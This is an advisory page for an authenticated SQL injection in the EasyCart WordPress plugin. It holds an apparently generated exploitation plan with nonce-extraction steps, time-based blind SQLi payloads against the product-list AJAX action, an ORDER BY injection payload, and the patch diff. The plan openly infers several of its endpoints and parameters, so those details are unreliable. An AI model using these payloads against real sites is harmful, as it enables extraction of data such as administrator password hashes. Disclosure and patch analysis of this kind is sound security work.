EasyCart <= 5.8.13 - Authenticated (Contributor+) SQL Injection
Description
The EasyCart plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.8.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.8.13What Changed in the Fix
Changes introduced in v5.8.14
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-32422 (WP EasyCart SQL Injection) ## 1. Vulnerability Summary The **Shopping Cart & eCommerce Store (wp-easycart)** plugin for WordPress is vulnerable to an **Authenticated SQL Injection** in versions up to and including **5.8.13**. The vulnerability arises f…
Show full research plan
Vulnerability Research Plan: CVE-2026-32422 (WP EasyCart SQL Injection)
1. Vulnerability Summary
The Shopping Cart & eCommerce Store (wp-easycart) plugin for WordPress is vulnerable to an Authenticated SQL Injection in versions up to and including 5.8.13. The vulnerability arises from improper neutralization of user-supplied input in database queries within administrative AJAX handlers. Specifically, certain parameters (likely filter, orderby, or order) are concatenated directly into SQL strings without being passed through $wpdb->prepare().
Since the vulnerability is accessible to Contributor-level users and above, it likely resides in a feature where contributors have "edit" or "view" access, or in an AJAX handler that lacks an explicit current_user_can('manage_options') check, defaulting instead to standard authenticated access or edit_posts.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ec_ajax_get_product_list(inferred from common EasyCart patterns for product retrieval) orec_ajax_get_products. - Vulnerable Parameter:
filter(most likely) ororderby. - Authentication: Authenticated (Contributor+).
- Preconditions:
- The attacker must have a valid account with at least Contributor permissions.
- The plugin must be active.
3. Code Flow (Inferred from Patch and Patterns)
- Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwith the actionec_ajax_get_product_list. - Hook Registration: In
inc/admin/admin_ajax.php(inferred path), the action is registered:add_action( 'wp_ajax_ec_ajax_get_product_list', array( $this, 'ec_ajax_get_product_list' ) ); - Handler Execution: The handler retrieves the
filterparameter from$_POST['filter']. - Database Class: The handler calls a method in the
ec_dbclass (likelyget_product_listorget_products). - Vulnerable Sink: The database method constructs a raw SQL query:
$sql = "SELECT ... WHERE ... AND ( product.title LIKE '%" . $filter . "%' OR product.model_number LIKE '%" . $filter . "%' )"; $results = $wpdb->get_results( $sql ); // Missing $wpdb->prepare()
4. Nonce Acquisition Strategy
EasyCart uses nonces for its administrative AJAX operations. These are typically localized into a JavaScript object in the WordPress admin head.
- Identify Trigger: The
ec_ajax_get_product_listaction is used on the "Products" admin page. - Create Access Page: Since Contributors might not see the "EasyCart" menu by default, we will check if the script is loaded on the standard dashboard or if we can force access to the products page.
- Execution Steps:
- Log in as a Contributor.
- Navigate to
/wp-admin/admin.php?page=wp-easycart-products(Note: If this page is restricted, search for any admin page wherewp-easycartscripts are enqueued). - Use
browser_evalto extract the nonce:// Common EasyCart localization objects window.wp_easycart_admin_ajax_object?.nonce || window.ec_admin_ajax?.nonce || window.wp_easycart_admin_params?.nonce - The exact variable name in version 5.8.13 is usually
wp_easycart_admin_paramswith keyajax_nonce.
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload because AJAX responses for product lists are often complex JSON, making UNION-based extraction difficult without knowing the exact column count of the internal EasyCart tables.
Step 1: Verification (Sleep Test)
Send a request to trigger a 5-second delay.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=ec_ajax_get_product_list&nonce=[NONCE]&filter=x') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Step 2: Data Extraction (Database Version)
Extract the first character of the database version.
- Payload (in
filterparameter):x') OR (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0)))a)-- -
6. Test Data Setup
- Users: Create a user with the
contributorrole. - Products: Create at least one product in EasyCart so the
get_product_listquery returns results under normal conditions.wp eval " (new ec_db())->insert_product('Test Product', 'MODEL123', 'desc', 10.00); "(Note:ec_dbclass name may vary, verify in source).
- Permissions: Ensure the Contributor role can access the product list menu, or that the AJAX action does not strictly enforce
manage_options.
7. Expected Results
- Vulnerable Version: The HTTP response will be delayed by approximately 5 seconds when the
SLEEP(5)payload is sent. - Patched Version: The
filterparameter will be escaped or prepared, resulting in an immediate response with 0 results found (since the literal stringx') OR ...will not match any product titles).
8. Verification Steps (Post-Exploit)
Confirm the vulnerability exists by checking the wp-easycart version and searching for un-prepared queries in the plugin directory:
grep -r "\$wpdb->get_results" wp-content/plugins/wp-easycart/inc/classes/core/ec_db.php | grep -v "prepare"
9. Alternative Approaches
If ec_ajax_get_product_list is not the correct action:
- Action Discovery: Search for all registered AJAX actions in the plugin:
grep -r "wp_ajax_" wp-content/plugins/wp-easycart/ - Order Injection: If the
filterparameter is sanitized, check theorderbyparameter. ORDER BY clauses cannot be prepared with%sand are a common source of SQLi in EasyCart.- Payload:
action=ec_ajax_get_product_list&orderby=(CASE WHEN (1=1) THEN title ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)
- Payload:
Summary
The WP EasyCart plugin for WordPress is vulnerable to authenticated SQL injection in versions up to 5.8.13. This vulnerability occurs because the plugin fails to properly sanitize or use prepared statements when concatenating user-influenced variables, such as product or manufacturer IDs, into database queries.
Vulnerable Code
// wpeasycart.php lines 1967-1968 $product_where .= 'product.product_id = ' . $product_id; $product_order_default .= 'product.product_id = ' . $product_id . ' DESC'; --- // wpeasycart.php line 1983 $product_where .= 'product.manufacturer_id = ' . (int) $manufacturer_id;
Security Fix
@@ -1964,8 +1964,8 @@ $product_where .= ' OR '; $product_order_default .= ', '; } - $product_where .= 'product.product_id = ' . $product_id; - $product_order_default .= 'product.product_id = ' . $product_id . ' DESC'; + $product_where .= $wpdb->prepare( 'product.product_id = %d', (int) $product_id ); + $product_order_default .= $wpdb->prepare( 'product.product_id = %d DESC', (int) $product_id ); $ids++; } @@ -1980,7 +1980,7 @@ if ( $ids > 0 ) { $product_where .= " OR "; } - $product_where .= 'product.manufacturer_id = ' . (int) $manufacturer_id; + $product_where .= $wpdb->prepare( 'product.manufacturer_id = %d', (int) $manufacturer_id ); $ids++; } } @@ -2995,7 +2995,7 @@ if ( $i > 0 ) { $where_query .= " OR"; } - $where_query .= $wpdb->prepare( " product.product_id = %d", $product_ids[$i] ); + $where_query .= $wpdb->prepare( " product.product_id = %d", (int) $product_ids[$i] ); } $where_query .= ")"; $has_added_to_where = true;
Exploit Outline
The exploit involves an authenticated attacker with at least Contributor-level permissions triggering administrative or product-display logic that processes user-supplied IDs. By sending a request to an endpoint that utilizes the vulnerable query-building logic (such as certain shortcodes or AJAX actions like `ec_ajax_get_product_list`), the attacker can inject SQL payloads into parameters like `product_id` or `filter`. A common methodology is to use time-based blind SQL injection (e.g., `SLEEP()` commands) to confirm the vulnerability and subsequently extract sensitive data from the WordPress database, such as administrator password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.